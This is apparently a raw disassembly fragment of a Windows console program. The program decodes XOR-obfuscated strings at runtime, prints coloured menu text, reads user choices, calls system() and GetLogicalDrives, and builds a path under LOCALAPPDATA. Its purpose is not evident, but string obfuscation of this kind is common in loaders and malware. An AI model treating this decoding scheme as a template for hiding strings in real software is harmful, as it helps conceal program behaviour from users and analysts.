xor byte [rsp + 0x98], 0x3c
xor byte [rsp + 0x99], 0x3d
lea rdx, [rsp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [str._P_G]
movsd qword [rsp + 0x140], xmm0
mov eax, dword [0x14008dcc8]
mov dword [rsp + 0x148], eax
cmp byte [0x14008dccb], 0
je 0x1400068ce
mov ecx, ebx
cmp r13d, 2
jl 0x14000688f
movdqa xmm4, xmmword [0x140096a90]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._P_G]
xorps xmm2, xmm0
movd dword [rsp + 0x140], xmm2
movdqa xmm3, xmmword [0x140096a50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x144]
xorps xmm2, xmm1
movd dword [rsp + 0x144], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x140]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x1400068a0
lea rdx, [rsp + 0x140]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, r12d
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008dab0]
movsd qword [rsp + 0xa0], xmm0
movzx eax, word [0x14008dab8]
mov word [rsp + 0xa8], ax
cmp byte [0x14008dab9], 0
je 0x14000696b
mov byte [rsp + 0xa0], 0xa
xor byte [rsp + 0xa1], 0x35
xor byte [rsp + 0xa2], 0x36
xor byte [rsp + 0xa3], 0x37
xor byte [rsp + 0xa4], 0x38
xor byte [rsp + 0xa5], 0x39
xor byte [rsp + 0xa6], 0x3a
xor byte [rsp + 0xa7], 0x3b
xor byte [rsp + 0xa8], 0x3c
xor byte [rsp + 0xa9], 0x3d
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.w_YXK_]
movups xmmword [rsp + 0x130], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140006b43
cmp r13d, 2
jl 0x140006b05
mov edx, ebx
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x130]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400069e0
jmp 0x140006b43
lea r9, [rsp + 0x130]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140006b10
lea rdx, [rsp + 0x130]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [rsp + 0x240]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rsp + 0x240], 1
jne 0x14000b9bc
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea ecx, [rax - 1]
test eax, ecx
lea rcx, [0x14008d5dc]
jne 0x1400091ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.pQLXVRIWK___15G]
movups xmmword [rsp + 0x1c0], xmm0
mov eax, dword [0x14008db28]
mov dword [rsp + 0x1d0], eax
cmp byte [0x14008db2b], 0
je 0x140006d63
mov r8d, ebx
cmp r13d, 2
jl 0x140006d1d
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x1c0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006bf0
cmp r8d, 0x14
jge 0x140006d63
movsxd rax, r8d
lea r9, [rsp + 0x1c0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140006d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x248], xmm0
mov qword [rsp + 0x258], rbx
mov qword [rsp + 0x260], rbx
lea rax, [rsp + 0x1c0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006d90
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x248]
call fcn.14000ecf0
nop
mov qword [rsp + 0x180], rbx
lea r8, str.LOCALAPPDATA
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x180]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000915f
mov rdx, qword [rsp + 0x180]
test rdx, rdx
je 0x14000915f
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140006e10
lea rcx, [rsp + 0x290]
call fcn.14000ecf0
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rsp + 0x2a0]
sub rax, rcx
cmp rax, 1
jb 0x14000bbaf
lea r9, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 0x10
cmovae r9, qword [rsp + 0x290]
mov qword [rsp + 0x30], 1
lea rax, [0x14008d918]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0xe0]
call fcn.14000fcc0
nop
lea rdx, [rsp + 0x248]
cmp qword [rsp + 0x260], 0x10
cmovae rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x258]
lea rcx, [rsp + 0xe0]
call fcn.14000d720
xorps xmm0, xmm0
movups xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x210], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x140006f42
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xf0], rbx
mov qword [rsp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rsp + 0xe0], 0
lea rax, [rsp + 0x200]
cmp qword [rsp + 0x218], 0x10
cmovae rax, qword [rsp + 0x200]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x228], rax
call fcn.14007a654
movaps xmm0, xmmword [rsp + 0x220]
movdqa xmmword [rsp + 0x1c0], xmm0
lea r8, [rsp + 0x1c0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
call fcn.140003f80
movzx r14d, al
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x14000701a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007015
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007015
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test r14b, r14b
je 0x140007a61
movsd xmm0, qword [0x14008d9e8]
movsd qword [rsp + 0x48], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
xor byte [rsp + 0x4e], 0x3a
xor byte [rsp + 0x4f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x50], al
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x14008dac0]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x14008dad0]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x14008dae0]
movsd qword [rsp + 0xd0], xmm0
movzx eax, byte [0x14008dae8]
mov byte [rsp + 0xd8], al
mov ecx, ebx
cmp r13d, 2
jl 0x140007248
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0xb0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140007120
cmp ecx, 0x29
jge 0x14000728e
movsxd rax, ecx
lea r8, [rsp + 0xb0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x29
jl 0x140007260
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1e0], 0
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008dab0]
movsd qword [rsp + 0x58], xmm0
movzx eax, word [0x14008dab8]
mov word [rsp + 0x60], ax
cmp byte [0x14008dab9], 0
je 0x140007330
mov byte [rsp + 0x58], 0xa
xor byte [rsp + 0x59], 0x35
xor byte [rsp + 0x5a], 0x36
xor byte [rsp + 0x5b], 0x37
xor byte [rsp + 0x5c], 0x38
xor byte [rsp + 0x5d], 0x39
xor byte [rsp + 0x5e], 0x3a
xor byte [rsp + 0x5f], 0x3b
xor byte [rsp + 0x60], 0x3c
xor byte [rsp + 0x61], 0x3d
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.w_YXK_]
movups xmmword [rsp + 0x130], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140007503
cmp r13d, 2
jl 0x1400074c5
mov edx, ebx
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x130]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400073a0
jmp 0x140007503
lea r9, [rsp + 0x130]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400074d0
lea rdx, [rsp + 0x130]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [rsp + 0x1e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000e390
lea r9, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
setae al
mov byte [rsp + 0x40], al
mov r14, qword [rsp + 0x1e0]
cmovae r9, r14
mov r15, qword [rsp + 0x1f0]
cmp r15, 3
jne 0x14000757c
mov r8, r15
lea rdx, [0x14008d91c]
mov rcx, r9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007603
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 3
jne 0x1400075a8
mov r8, r15
lea rdx, [0x14008d920]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007603
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 1
jne 0x1400075d4
mov r8, r15
lea rdx, [0x14008d924]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007603
movzx eax, byte [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
test al, al
cmovne rcx, r14
cmp r15, 1
jne 0x140007a0c
mov r8, r15
lea rdx, [0x14008d928]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007a0c
lea rax, [rsp + 0x200]
cmp qword [rsp + 0x218], 0x10
cmovae rax, qword [rsp + 0x200]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x228], rax
call fcn.14007a654
movaps xmm0, xmmword [rsp + 0x220]
movdqa xmmword [rsp + 0x1c0], xmm0
lea r8, [rsp + 0x1c0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 8
cmovae rcx, qword [rsp + 0xb0]
call fcn.14007abc4
movzx ecx, al
mov qword [rsp + 0x188], rcx
shr rax, 0x20
mov dword [rsp + 0x270], eax
lea rcx, [0x1400a40b8]
mov qword [rsp + 0x278], rcx
movaps xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x2c0], xmm0
cmp eax, 0x91
jne 0x1400076dc
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0xb0]
call fcn.140004090
cmp dword [rsp + 0x2c0], 0
jne 0x14000bbb5
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x140007735
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007730
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007730
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400797bc
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x14008d9e8]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x80], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x80], 0xa
xor byte [rsp + 0x81], 0x35
xor byte [rsp + 0x82], 0x36
xor byte [rsp + 0x83], 0x37
xor byte [rsp + 0x84], 0x38
xor byte [rsp + 0x85], 0x39
xor byte [rsp + 0x86], 0x3a
xor byte [rsp + 0x87], 0x3b
xor al, 0x3c
mov byte [rsp + 0x88], al
lea rdx, [rsp + 0x80]
call fcn.14000df10
mov edx, ntohl
mov rcx, qword [0x1400a81f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.g_UT_JI_IQRF_]
movups xmmword [rsp + 0x1c0], xmm0
mov eax, dword [0x14008dc60]
mov dword [rsp + 0x1d0], eax
movzx eax, word [0x14008dc64]
mov word [rsp + 0x1d4], ax
movzx eax, byte [0x14008dc66]
mov byte [rsp + 0x1d6], al
mov ecx, ebx
cmp r13d, 2
jl 0x140007978
movd xmm4, r12d
movd xmm5, edi
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x1c0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140096a30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140096a30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140096a90]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096a90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096a60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140096a70]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007850
cmp ecx, 0x17
jge 0x1400079be
movsxd rax, ecx
lea r8, [rsp + 0x1c0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x140007990
lea rdx, [rsp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df10
lea rdx, [0x14000e2a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
